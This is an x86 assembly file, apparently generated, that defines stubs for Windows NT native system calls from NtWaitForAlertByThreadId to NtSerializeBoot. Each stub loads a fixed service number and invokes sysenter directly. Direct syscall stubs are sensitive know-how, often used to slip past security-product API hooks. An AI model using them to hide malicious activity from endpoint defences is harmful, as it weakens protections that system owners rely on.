NtWaitForAlertByThreadId PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 16
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWaitForAlertByThreadId ENDP
; ULONG __stdcall NtVdmControl( ULONG arg_01 , ULONG arg_02 );
NtVdmControl PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 17
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtVdmControl ENDP
; ULONG __stdcall NtUnsubscribeWnfStateChange( ULONG arg_01 );
NtUnsubscribeWnfStateChange PROC STDCALL arg_01:DWORD
mov eax , 18
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtUnsubscribeWnfStateChange ENDP
; ULONG __stdcall NtUpdateWnfStateData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
NtUpdateWnfStateData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 19
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtUpdateWnfStateData ENDP
; ULONG __stdcall NtUnmapViewOfSection( ULONG arg_01 , ULONG arg_02 );
NtUnmapViewOfSection PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 20
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtUnmapViewOfSection ENDP
; ULONG __stdcall NtUnmapViewOfSectionEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtUnmapViewOfSectionEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 21
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtUnmapViewOfSectionEx ENDP
; ULONG __stdcall NtUnlockVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtUnlockVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 22
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtUnlockVirtualMemory ENDP
; ULONG __stdcall NtUnlockFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtUnlockFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 23
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtUnlockFile ENDP
; ULONG __stdcall NtUnloadKeyEx( ULONG arg_01 , ULONG arg_02 );
NtUnloadKeyEx PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 24
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtUnloadKeyEx ENDP
; ULONG __stdcall NtUnloadKey2( ULONG arg_01 , ULONG arg_02 );
NtUnloadKey2 PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 25
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtUnloadKey2 ENDP
; ULONG __stdcall NtUnloadKey( ULONG arg_01 );
NtUnloadKey PROC STDCALL arg_01:DWORD
mov eax , 26
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtUnloadKey ENDP
; ULONG __stdcall NtUnloadDriver( ULONG arg_01 );
NtUnloadDriver PROC STDCALL arg_01:DWORD
mov eax , 27
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtUnloadDriver ENDP
; ULONG __stdcall NtUmsThreadYield( ULONG arg_01 );
NtUmsThreadYield PROC STDCALL arg_01:DWORD
mov eax , 28
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtUmsThreadYield ENDP
; ULONG __stdcall NtTranslateFilePath( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtTranslateFilePath PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 29
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtTranslateFilePath ENDP
; ULONG __stdcall NtTraceEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtTraceEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 30
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtTraceEvent ENDP
; ULONG __stdcall NtTraceControl( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtTraceControl PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 31
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtTraceControl ENDP
; ULONG __stdcall NtThawTransactions( );
NtThawTransactions PROC STDCALL
mov eax , 32
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtThawTransactions ENDP
; ULONG __stdcall NtThawRegistry( );
NtThawRegistry PROC STDCALL
mov eax , 33
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtThawRegistry ENDP
; ULONG __stdcall NtTestAlert( );
NtTestAlert PROC STDCALL
mov eax , 34
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtTestAlert ENDP
; ULONG __stdcall NtTerminateThread( ULONG arg_01 , ULONG arg_02 );
NtTerminateThread PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 35
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtTerminateThread ENDP
; ULONG __stdcall NtTerminateProcess( ULONG arg_01 , ULONG arg_02 );
NtTerminateProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 36
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtTerminateProcess ENDP
; ULONG __stdcall NtTerminateJobObject( ULONG arg_01 , ULONG arg_02 );
NtTerminateJobObject PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 37
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtTerminateJobObject ENDP
; ULONG __stdcall NtTerminateEnclave( ULONG arg_01 , ULONG arg_02 );
NtTerminateEnclave PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 38
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtTerminateEnclave ENDP
; ULONG __stdcall NtSystemDebugControl( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtSystemDebugControl PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 39
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSystemDebugControl ENDP
; ULONG __stdcall NtSuspendThread( ULONG arg_01 , ULONG arg_02 );
NtSuspendThread PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 40
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSuspendThread ENDP
; ULONG __stdcall NtSuspendProcess( ULONG arg_01 );
NtSuspendProcess PROC STDCALL arg_01:DWORD
mov eax , 41
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSuspendProcess ENDP
; ULONG __stdcall NtSubscribeWnfStateChange( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSubscribeWnfStateChange PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 42
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSubscribeWnfStateChange ENDP
; ULONG __stdcall NtStopProfile( ULONG arg_01 );
NtStopProfile PROC STDCALL arg_01:DWORD
mov eax , 43
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtStopProfile ENDP
; ULONG __stdcall NtStartProfile( ULONG arg_01 );
NtStartProfile PROC STDCALL arg_01:DWORD
mov eax , 44
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtStartProfile ENDP
; ULONG __stdcall NtSinglePhaseReject( ULONG arg_01 , ULONG arg_02 );
NtSinglePhaseReject PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 45
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSinglePhaseReject ENDP
; ULONG __stdcall NtSignalAndWaitForSingleObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSignalAndWaitForSingleObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 46
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSignalAndWaitForSingleObject ENDP
; ULONG __stdcall NtShutdownWorkerFactory( ULONG arg_01 , ULONG arg_02 );
NtShutdownWorkerFactory PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 47
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtShutdownWorkerFactory ENDP
; ULONG __stdcall NtShutdownSystem( ULONG arg_01 );
NtShutdownSystem PROC STDCALL arg_01:DWORD
mov eax , 48
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtShutdownSystem ENDP
; ULONG __stdcall NtSetWnfProcessNotificationEvent( ULONG arg_01 );
NtSetWnfProcessNotificationEvent PROC STDCALL arg_01:DWORD
mov eax , 49
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetWnfProcessNotificationEvent ENDP
; ULONG __stdcall NtSetVolumeInformationFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtSetVolumeInformationFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 50
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetVolumeInformationFile ENDP
; ULONG __stdcall NtSetValueKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtSetValueKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 51
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetValueKey ENDP
; ULONG __stdcall NtSetUuidSeed( ULONG arg_01 );
NtSetUuidSeed PROC STDCALL arg_01:DWORD
mov eax , 52
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetUuidSeed ENDP
; ULONG __stdcall NtSetTimerResolution( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtSetTimerResolution PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 53
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetTimerResolution ENDP
; ULONG __stdcall NtSetTimerEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetTimerEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 54
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetTimerEx ENDP
; ULONG __stdcall NtSetTimer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
NtSetTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 55
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetTimer ENDP
; ULONG __stdcall NtSetThreadExecutionState( ULONG arg_01 , ULONG arg_02 );
NtSetThreadExecutionState PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 56
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetThreadExecutionState ENDP
; ULONG __stdcall NtSetSystemTime( ULONG arg_01 , ULONG arg_02 );
NtSetSystemTime PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 57
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetSystemTime ENDP
; ULONG __stdcall NtSetSystemPowerState( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtSetSystemPowerState PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 58
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetSystemPowerState ENDP
; ULONG __stdcall NtSetSystemInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtSetSystemInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 59
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetSystemInformation ENDP
; ULONG __stdcall NtSetSystemEnvironmentValueEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtSetSystemEnvironmentValueEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 60
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetSystemEnvironmentValueEx ENDP
; ULONG __stdcall NtSetSystemEnvironmentValue( ULONG arg_01 , ULONG arg_02 );
NtSetSystemEnvironmentValue PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 61
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetSystemEnvironmentValue ENDP
; ULONG __stdcall NtSetSecurityObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtSetSecurityObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 62
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetSecurityObject ENDP
; ULONG __stdcall NtSetQuotaInformationFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetQuotaInformationFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 63
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetQuotaInformationFile ENDP
; ULONG __stdcall NtSetLowWaitHighEventPair( ULONG arg_01 );
NtSetLowWaitHighEventPair PROC STDCALL arg_01:DWORD
mov eax , 64
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetLowWaitHighEventPair ENDP
; ULONG __stdcall NtSetLowEventPair( ULONG arg_01 );
NtSetLowEventPair PROC STDCALL arg_01:DWORD
mov eax , 65
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetLowEventPair ENDP
; ULONG __stdcall NtSetLdtEntries( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtSetLdtEntries PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 66
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetLdtEntries ENDP
; ULONG __stdcall NtSetIRTimer( ULONG arg_01 , ULONG arg_02 );
NtSetIRTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 67
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetIRTimer ENDP
; ULONG __stdcall NtSetTimer2( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetTimer2 PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 68
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetTimer2 ENDP
; ULONG __stdcall NtCancelTimer2( ULONG arg_01 , ULONG arg_02 );
NtCancelTimer2 PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 69
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCancelTimer2 ENDP
; ULONG __stdcall NtSetIoCompletionEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtSetIoCompletionEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 70
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetIoCompletionEx ENDP
; ULONG __stdcall NtSetIoCompletion( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtSetIoCompletion PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 71
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetIoCompletion ENDP
; ULONG __stdcall NtSetIntervalProfile( ULONG arg_01 , ULONG arg_02 );
NtSetIntervalProfile PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 72
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetIntervalProfile ENDP
; ULONG __stdcall NtSetInformationWorkerFactory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetInformationWorkerFactory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 73
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationWorkerFactory ENDP
; ULONG __stdcall NtSetInformationTransactionManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetInformationTransactionManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 74
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationTransactionManager ENDP
; ULONG __stdcall NtSetInformationTransaction( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetInformationTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 75
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationTransaction ENDP
; ULONG __stdcall NtSetInformationToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetInformationToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 76
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationToken ENDP
; ULONG __stdcall NtSetInformationThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetInformationThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 77
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationThread ENDP
; ULONG __stdcall NtSetInformationResourceManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetInformationResourceManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 78
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationResourceManager ENDP
; ULONG __stdcall NtSetInformationProcess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetInformationProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 79
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationProcess ENDP
; ULONG __stdcall NtSetInformationObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetInformationObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 80
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationObject ENDP
; ULONG __stdcall NtSetInformationKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetInformationKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 81
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationKey ENDP
; ULONG __stdcall NtSetInformationJobObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetInformationJobObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 82
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationJobObject ENDP
; ULONG __stdcall NtSetInformationFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtSetInformationFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 83
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationFile ENDP
; ULONG __stdcall NtSetInformationEnlistment( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetInformationEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 84
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationEnlistment ENDP
; ULONG __stdcall NtSetInformationDebugObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtSetInformationDebugObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 85
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationDebugObject ENDP
; ULONG __stdcall NtSetHighWaitLowEventPair( ULONG arg_01 );
NtSetHighWaitLowEventPair PROC STDCALL arg_01:DWORD
mov eax , 86
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetHighWaitLowEventPair ENDP
; ULONG __stdcall NtSetHighEventPair( ULONG arg_01 );
NtSetHighEventPair PROC STDCALL arg_01:DWORD
mov eax , 87
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetHighEventPair ENDP
; ULONG __stdcall NtSetEventBoostPriority( ULONG arg_01 );
NtSetEventBoostPriority PROC STDCALL arg_01:DWORD
mov eax , 88
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetEventBoostPriority ENDP
; ULONG __stdcall NtSetEvent( ULONG arg_01 , ULONG arg_02 );
NtSetEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 89
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetEvent ENDP
; ULONG __stdcall NtSetEaFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetEaFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 90
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetEaFile ENDP
; ULONG __stdcall NtSetDriverEntryOrder( ULONG arg_01 , ULONG arg_02 );
NtSetDriverEntryOrder PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 91
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetDriverEntryOrder ENDP
; ULONG __stdcall NtSetDefaultUILanguage( ULONG arg_01 );
NtSetDefaultUILanguage PROC STDCALL arg_01:DWORD
mov eax , 92
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetDefaultUILanguage ENDP
; ULONG __stdcall NtSetDefaultLocale( ULONG arg_01 , ULONG arg_02 );
NtSetDefaultLocale PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 93
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetDefaultLocale ENDP
; ULONG __stdcall NtSetDefaultHardErrorPort( ULONG arg_01 );
NtSetDefaultHardErrorPort PROC STDCALL arg_01:DWORD
mov eax , 94
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetDefaultHardErrorPort ENDP
; ULONG __stdcall NtSetDebugFilterState( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtSetDebugFilterState PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 95
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetDebugFilterState ENDP
; ULONG __stdcall NtSetContextThread( ULONG arg_01 , ULONG arg_02 );
NtSetContextThread PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 96
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetContextThread ENDP
; ULONG __stdcall NtSetCachedSigningLevel2( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtSetCachedSigningLevel2 PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 97
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetCachedSigningLevel2 ENDP
; ULONG __stdcall NtSetCachedSigningLevel( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtSetCachedSigningLevel PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 98
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetCachedSigningLevel ENDP
; ULONG __stdcall NtSetBootOptions( ULONG arg_01 , ULONG arg_02 );
NtSetBootOptions PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 99
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetBootOptions ENDP
; ULONG __stdcall NtSetBootEntryOrder( ULONG arg_01 , ULONG arg_02 );
NtSetBootEntryOrder PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 100
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetBootEntryOrder ENDP
; ULONG __stdcall NtSerializeBoot( );
NtSerializeBoot PROC STDCALL
mov eax , 101
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSerializeBoot ENDP
